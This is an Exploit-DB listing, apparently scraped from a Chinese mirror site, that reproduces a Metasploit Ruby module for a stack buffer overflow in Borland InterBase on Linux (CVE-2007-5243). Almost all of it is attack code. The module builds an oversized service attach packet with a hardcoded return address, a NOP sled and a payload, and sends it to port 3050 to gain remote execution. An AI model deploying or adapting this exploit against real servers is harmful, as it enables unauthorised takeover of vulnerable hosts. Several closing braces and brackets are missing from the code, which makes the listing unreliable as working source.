Borland Interbase – ‘INET_connect()’ Remote Buffer Overflow (Metasploit)

Exploit Database
121 阅读

作者： Metasploit

日期： 2010-07-03
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/16844/

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# $Id: ib_inet_connect.rb 9669 2010-07-03 03:13:45Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'Borland InterBase INET_connect() Buffer Overflow',

'Description' => %q{

This module exploits a stack buffer overflow in Borland InterBase

by sending a specially crafted service attach request.

'Version' => '$Revision: 9669 $',

'Author' =>

[

'ramon',

'Adriano Lima <adriano@risesecurity.org>',

'Arch' => ARCH_X86,

'Platform' => 'linux',

'References' =>

[

[ 'CVE', '2007-5243' ],

[ 'OSVDB', '38605' ],

[ 'BID', '25917' ],

[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],

'Privileged' => true,

'License' => MSF_LICENSE,

'Payload' =>

{

'Space' => 512,

'BadChars' => "\x00\x2f\x3a\x40\x5c",

'Targets' =>

[

# 0x0804d2ee 5b5e5f5dc3

[

'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',

{ 'Ret' => 0x0804d2ee }

'DefaultTarget' => 0,

'DisclosureDate'=> 'Oct 03 2007'

))

register_options(

[

Opt::RPORT(3050)

self.class

)

end

def exploit

connect

# Attach database

op_attach = 19

# Create database

op_create = 20

# Service attach

op_service_attach = 82

length = 161

remainder = length.remainder(4)

padding = 0

if remainder > 0

padding = (4 - remainder)

end

buf = ''

# Operation/packet type

buf << [op_service_attach].pack('N')

# Id

buf << [0].pack('N')

# Length

buf << [length].pack('N')

# Random alpha data

buf << rand_text_alpha(length - 5)

# Target

buf << [target.ret].pack('L')

# Separator

buf << ':'

# Padding

buf << "\x00" * padding

# Database parameter block

# Length

buf << [1024].pack('N')

# It will return into this nop block

buf << make_nops(1024 - payload.encoded.length)

# Payload

buf << payload.encoded

sock.put(buf)

handler

end